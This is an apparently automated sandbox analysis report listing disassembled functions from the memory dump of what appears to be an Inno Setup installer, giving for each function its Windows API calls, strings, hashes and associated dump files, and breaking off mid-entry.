Uniqueness Score: -1.00%

Function 0060CD14, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 105fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,?,_iu,?,00000000,0060CE51), ref: 0060CE01
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,?,_iu,?,00000000,0060CE51), ref: 0060CE11

Strings

.tmp, xrefs: 0060CDB5
_iu, xrefs: 0060CDA3

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateFileHandle
String ID: .tmp$_iu
API String ID: 3498533004-10593223
Opcode ID: 24fe42622cf62fb29ce9a2c49e1ca3ef163bbd3a7bcf70000187b10c36dcbc4c
Instruction ID: f0c61975f8e987b86bac7f04f067b2ad5b288a9d8ae99280b348037a25044e3b
Opcode Fuzzy Hash: 24fe42622cf62fb29ce9a2c49e1ca3ef163bbd3a7bcf70000187b10c36dcbc4c
Instruction Fuzzy Hash: CD319E30A40209ABDB14EBE4C842FDEBBB9EF44714F1042A9F804B73C2D778AE459B54

Uniqueness

Uniqueness Score: -1.00%

Function 005B92C8, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 103timethreadwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 005B923C: GetCursorPos.USER32 ref: 005B9243

SetTimer.USER32(00000000,00000000,5FCC754F,00000000), ref: 005B93B3
GetCurrentThreadId.KERNEL32 ref: 005B93ED
WaitMessage.USER32(00000000,005B9431,?,?,?,00000000), ref: 005B9411

Strings

Dl, xrefs: 005B93F2

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentCursorMessageThreadTimerWait
String ID: Dl
API String ID: 3909455694-1042291793
Opcode ID: 1f6f0a1c510f93f692655a977ba6e5298b4086ccb601a4d072a2bbdb339548d0
Instruction ID: 597a7682cf751412642d1ca47e474f5c06ff596d9fe9d998d875485cc057c909
Opcode Fuzzy Hash: 1f6f0a1c510f93f692655a977ba6e5298b4086ccb601a4d072a2bbdb339548d0
Instruction Fuzzy Hash: 43416C30A04244EFDB11DFA9D88ABEDBBF6FB45304F6188B9E904972A1C7746E41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 006B7820, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00000000,006C36D4,00000000,006B791E,?,?,006D479C,?,00000000,00000000,?,006B7D50,00000000,006B7D5A,?,00000000), ref: 006B7890
SetFileAttributesW.KERNEL32(00000000,00000000,00000000,006C36D4,00000000,006B791E,?,?,006D479C,?,00000000,00000000,?,006B7D50,00000000,006B7D5A), ref: 006B78B9
MoveFileExW.KERNEL32(00000000,00000000,00000001,00000000,006C36D4,00000000,006B791E,?,?,006D479C,?,00000000,00000000,?,006B7D50,00000000), ref: 006B78D2

Strings

isRS-%.3u.tmp, xrefs: 006B786F

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Attributes$Move
String ID: isRS-%.3u.tmp
API String ID: 3839737484-3657609586
Opcode ID: 55f271c5ce6f1534136080e30294b4ffa4e604e02b870d8b14805dd740020c43
Instruction ID: 0f43dc597fc5b70accabae0da728ee0b08a343283778375b3c6cba122b7c2eac
Opcode Fuzzy Hash: 55f271c5ce6f1534136080e30294b4ffa4e604e02b870d8b14805dd740020c43
Instruction Fuzzy Hash: 95318170D04208AFCB00EBA9C8859EEB7B9EF84314F11467AF814B7291D7385E81CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00614D0C, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000B06,00000000,00000000), ref: 00614D26
SendMessageW.USER32(00000000,00000B00,00000000,00000000), ref: 00614DC3

Strings

Failed to create DebugClientWnd, xrefs: 00614D8C
Cannot debug. Debugger version ($%.8x) does not match Setup version ($%.8x), xrefs: 00614D52

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend
String ID: Cannot debug. Debugger version ($%.8x) does not match Setup version ($%.8x)$Failed to create DebugClientWnd
API String ID: 3850602802-3720027226
Opcode ID: ea57cd588fe8570c91b24ef0b746a875249b5149722270d15631428ffe25c9ac
Instruction ID: d134127b693325792274e9a01a70f49e89543c9fcfe531e84006ac1a280ab911
Opcode Fuzzy Hash: ea57cd588fe8570c91b24ef0b746a875249b5149722270d15631428ffe25c9ac
Instruction Fuzzy Hash: 3311E7B1A043519FD700EB69EC81F9A7B95AF45314F08402AF585CB392DB759C84C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 00624438, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 54registryCOMMON

Download Yara Rule

APIs

Part of subcall function 005C5124: GetFullPathNameW.KERNEL32(00000000,00001000,?,?,00000002,?,?,006D479C,00000000,0060D257,00000000,0060D532,?,?,006D479C), ref: 005C5155

LoadTypeLib.OLEAUT32(00000000,00000000), ref: 0062447B
RegisterTypeLib.OLEAUT32(?,00000000,00000000), ref: 00624497

Strings

LoadTypeLib, xrefs: 00624486
RegisterTypeLib, xrefs: 006244A2

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Type$FullLoadNamePathRegister
String ID: LoadTypeLib$RegisterTypeLib
API String ID: 4170313675-2435364021
Opcode ID: 3aca009d31f0f1a8cac111bc50824ede26e8fddbcab806dd9635b5a5ee37d0ef
Instruction ID: e38850ae6034221aecf35b856b26f0223ed0c8226c2a0ebd231c24fb5e5372d8
Opcode Fuzzy Hash: 3aca009d31f0f1a8cac111bc50824ede26e8fddbcab806dd9635b5a5ee37d0ef
Instruction Fuzzy Hash: 4D0148307406046BDB10FBA6DC82B4E77EDEB48704F504875B500F6292DB74AE158A19

Uniqueness

Uniqueness Score: -1.00%

Function 0060D449, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41fileCOMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNEL32(00000000,00000020), ref: 0060D454

Part of subcall function 00423A18: DeleteFileW.KERNEL32(00000000,?,?,006D479C,?,006B7D35,00000000,006B7D8A,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex), ref: 00423A28
Part of subcall function 00423A18: GetLastError.KERNEL32(00000000,?,?,006D479C,?,006B7D35,00000000,006B7D8A,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex), ref: 00423A37
Part of subcall function 00423A18: GetFileAttributesW.KERNEL32(00000000,00000000,?,?,006D479C,?,006B7D35,00000000,006B7D8A,?,?,00000005,?,00000000,00000000,00000000), ref: 00423A3F
Part of subcall function 00423A18: RemoveDirectoryW.KERNEL32(00000000,00000000,00000000,?,?,006D479C,?,006B7D35,00000000,006B7D8A,?,?,00000005,?,00000000,00000000), ref: 00423A5A

MoveFileW.KERNEL32(00000000,00000000), ref: 0060D481

Part of subcall function 0060C7E4: GetLastError.KERNEL32(00000000,0060D50A,00000005,00000000,0060D532,?,?,006D479C,?,00000000,00000000,00000000,?,006B79CB,00000000,006B79E6), ref: 0060C7E7

Strings

DeleteFile, xrefs: 0060D465
MoveFile, xrefs: 0060D48A

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: File$AttributesErrorLast$DeleteDirectoryMoveRemove
String ID: DeleteFile$MoveFile
API String ID: 3947864702-139070271
Opcode ID: 26ba5a7a83c98d9881fb4303402f7fda41dafdde2cd50c62435718124271411b
Instruction ID: e65586cb8c2ba221caf3cfd224dcd0eff8e091a7cc457f3bf2639edee59451d9
Opcode Fuzzy Hash: 26ba5a7a83c98d9881fb4303402f7fda41dafdde2cd50c62435718124271411b
Instruction Fuzzy Hash: 42F049716841054ADB09FBF6E9065AF63E5EF44318F504A7EF804E72C1D63C9C05462D

Uniqueness

Uniqueness Score: -1.00%

Function 00626D74, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39registryCOMMON

Download Yara Rule

APIs

Part of subcall function 005C6790: RegOpenKeyExW.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,jn\,?,00000000,?,005C6E0A,00000001,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,005C6E6A), ref: 005C67AC

RegCloseKey.ADVAPI32(00000000,?,00000001,00000000,00000003,00626BCC,00000003,00000000,00626F17,00000000,006270D1,?,00626BCC,?,00000000,00000000), ref: 00626DC1

Strings

SOFTWARE\Microsoft\.NETFramework, xrefs: 00626D96
.NET Framework not found, xrefs: 00626DD0
InstallRoot, xrefs: 00626DB0

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseOpen
String ID: .NET Framework not found$InstallRoot$SOFTWARE\Microsoft\.NETFramework
API String ID: 47109696-2631785700
Opcode ID: ec07e0db51d3c638d208cea47c9fb61d7565527b1549b85ae51ece4d1ddb7960
Instruction ID: 8af0ce4ad620272c9594f6d9018686f01a2d88763efb0c0a0c7834eb730a36f0
Opcode Fuzzy Hash: ec07e0db51d3c638d208cea47c9fb61d7565527b1549b85ae51ece4d1ddb7960
Instruction Fuzzy Hash: 32F02231B01528AFD710AF49E845B9A6BCADFD6352F91143AF185C3290E6B1CC028F92

Uniqueness

Uniqueness Score: -1.00%

Function 005C67B8, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32registryCOMMON

Download Yara Rule

APIs

RegDeleteKeyW.ADVAPI32(?,00000000), ref: 005C67C4
GetModuleHandleW.KERNEL32(advapi32.dll,RegDeleteKeyExW,?,00000000,005C69AB,00000000,005C69C3,?,?,?), ref: 005C67DF

Strings

advapi32.dll, xrefs: 005C67DA
RegDeleteKeyExW, xrefs: 005C67D5

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: DeleteHandleModule
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 3550747403-4033151799
Opcode ID: 446bbcfcc69e87ec6a54bc98b0bd0db8a719cbf54cb0d116f2ffc1e03499b033
Instruction ID: dc63331fa5a8f3f500f99eadda01b9e76553ba7a97e57ea72adecfe1af790e06
Opcode Fuzzy Hash: 446bbcfcc69e87ec6a54bc98b0bd0db8a719cbf54cb0d116f2ffc1e03499b033
Instruction Fuzzy Hash: 84E06DB0A42210AFD32467A9BC4AFD22F89FB8575EF50382FF10155492CBB84D90C2A4

Uniqueness

Uniqueness Score: -1.00%

Function 005C745C, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(user32.dll,ChangeWindowMessageFilterEx,?,00000004,006CBEB0,00614DAA,00615224,00614CC8,00000000,00000B06,00000000,00000000), ref: 005C7476

Part of subcall function 00414020: GetProcAddress.KERNEL32(?,?), ref: 0041404A

Part of subcall function 005C73C0: GetModuleHandleW.KERNEL32(user32.dll,ChangeWindowMessageFilter,?,?,005C74B6,?,00000004,006CBEB0,00614DAA,00615224,00614CC8,00000000,00000B06,00000000,00000000), ref: 005C73D7

ChangeWindowMessageFilterEx.USER32(00000000,?,00000001,00000000,?,00000004,006CBEB0,00614DAA,00615224,00614CC8,00000000,00000B06,00000000,00000000), ref: 005C74A7

Strings

ChangeWindowMessageFilterEx, xrefs: 005C746C
user32.dll, xrefs: 005C7471

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleModule$AddressChangeFilterMessageProcWindow
String ID: ChangeWindowMessageFilterEx$user32.dll
API String ID: 989041661-2676053874
Opcode ID: a7f6f2e5f8f57a6afa57f5accac88337017fdea6f4c9c9ed7d5e2355f95595c0
Instruction ID: 26a363f38c9b500d63c7b8355889e9a68f3a4e891c8784958a891250910d6643
Opcode Fuzzy Hash: a7f6f2e5f8f57a6afa57f5accac88337017fdea6f4c9c9ed7d5e2355f95595c0
Instruction Fuzzy Hash: 1CF027706093149FD704ABA9BCC4F853F99FB8D351F00152EF204C6581CBB80C808EA4

Uniqueness

Uniqueness Score: -1.00%

Function 004698F4, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 107COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00469A44,?,?,00443D44,00000001), ref: 00469982

Part of subcall function 0042369C: CreateFileW.KERNEL32(00000000,000000F0,000000F0,00000000,00000003,00000080,00000000,?,?,00443D44,004699C4,00000000,00469A44,?,?,00443D44), ref: 004236EB

Part of subcall function 00423BC8: GetFullPathNameW.KERNEL32(00000000,00000104,?,?,?,?,?,00443D44,004699DF,00000000,00469A44,?,?,00443D44,00000001), ref: 00423BEB

GetLastError.KERNEL32(00000000,00469A44,?,?,00443D44,00000001), ref: 004699E9

Part of subcall function 00427D4C: FormatMessageW.KERNEL32(00003300,00000000,00000000,00000000,00000001,00000000,00000000,?,00443D44,00000000,?,004699F8,00000000,00469A44), ref: 00427D70
Part of subcall function 00427D4C: LocalFree.KERNEL32(00000001,00427DC9,00003300,00000000,00000000,00000000,00000001,00000000,00000000,?,00443D44,00000000,?,004699F8,00000000,00469A44), ref: 00427DBC

Strings

TUA, xrefs: 004699A1
\UA, xrefs: 00469A08

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$CreateFileFormatFreeFullLocalMessageNamePath
String ID: TUA$\UA
API String ID: 503893064-4291284429
Opcode ID: 16c3a7c1edecb1a6fb67f941cdccc39d2bbf5b553f33231be13615cc94cc8ccc
Instruction ID: 8d929fe5fe5036276eb1cf3e5c1d8d9621af2457b238719d8755a1a314a4a9d0
Opcode Fuzzy Hash: 16c3a7c1edecb1a6fb67f941cdccc39d2bbf5b553f33231be13615cc94cc8ccc
Instruction Fuzzy Hash: 5841C370B002599FCB00EFA9D8815EEB7F5AF48314F50812AE514A7382DB7D5E059B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040DE74, Relevance: 6.1, APIs: 4, Instructions: 95threadCOMMON

Download Yara Rule

APIs

GetThreadUILanguage.KERNEL32(?,00000000), ref: 0040DE85
SetThreadPreferredUILanguages.KERNEL32(00000004,?,?), ref: 0040DEE3
SetThreadPreferredUILanguages.KERNEL32(00000000,00000000,?), ref: 0040DF40
SetThreadPreferredUILanguages.KERNEL32(00000008,?,?), ref: 0040DF73

Part of subcall function 0040DE30: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,00000000,?,?,0040DEF1), ref: 0040DE47
Part of subcall function 0040DE30: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,?,0040DEF1), ref: 0040DE64

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Thread$LanguagesPreferred$Language
String ID:
API String ID: 2255706666-0
Opcode ID: 339f940500be62133d20186022ad95a148fb343104f844956e141825995a35fa
Instruction ID: 6b3602698f867434315670786c57d1330f11e75d411b24415d78b62a36c3f300
Opcode Fuzzy Hash: 339f940500be62133d20186022ad95a148fb343104f844956e141825995a35fa
Instruction Fuzzy Hash: 6B316F70E1021A9BDB10DFE9C884AAEB7B5EF14304F40417AE555E72D1DB789A09CB94

Uniqueness

Uniqueness Score: -1.00%

Function 005CD294, Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(?,?,?), ref: 005CD2AD
MulDiv.KERNEL32(?,005CD3DF,?), ref: 005CD2C0
MulDiv.KERNEL32(?,?,?), ref: 005CD2D7
MulDiv.KERNEL32(?,005CD3DF,?), ref: 005CD2F5

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d854f0a41b6c0be31f27ed2a2595d08c7a93b107329d657449771b3e36219948
Instruction ID: 2647700dfaabd85a373208064ba8ef14f9f71db11805bddc88b4befc8354b4ba
Opcode Fuzzy Hash: d854f0a41b6c0be31f27ed2a2595d08c7a93b107329d657449771b3e36219948
Instruction Fuzzy Hash: 05113076A04214AFCB44DEDDD8C4E9B7BEDEF48360B1440A9F908DB242C634ED80C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 005B9590, Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 005B95A3
GetWindowLongW.USER32(?,000000EC), ref: 005B95E5
SetWindowLongW.USER32(?,000000EC,00000000), ref: 005B95FF
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,C31852FF,?,00000000,?,005B96B9,?,?,?,00000000), ref: 005B9627

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Long$Visible
String ID:
API String ID: 2967648141-0
Opcode ID: d84f1fa0e73aa85d6e82c49bc6aaa60b6125fd632751402fd138937b714318b1
Instruction ID: 5518093a597a3e42cc7efe86925244264c3f969ac261f295b92f519f6962ed08
Opcode Fuzzy Hash: d84f1fa0e73aa85d6e82c49bc6aaa60b6125fd632751402fd138937b714318b1
Instruction Fuzzy Hash: C3115E742451446FDB00DB38E989FEA7FE9AB44314F449191F984CB362CB38ED81CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0046A210, Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

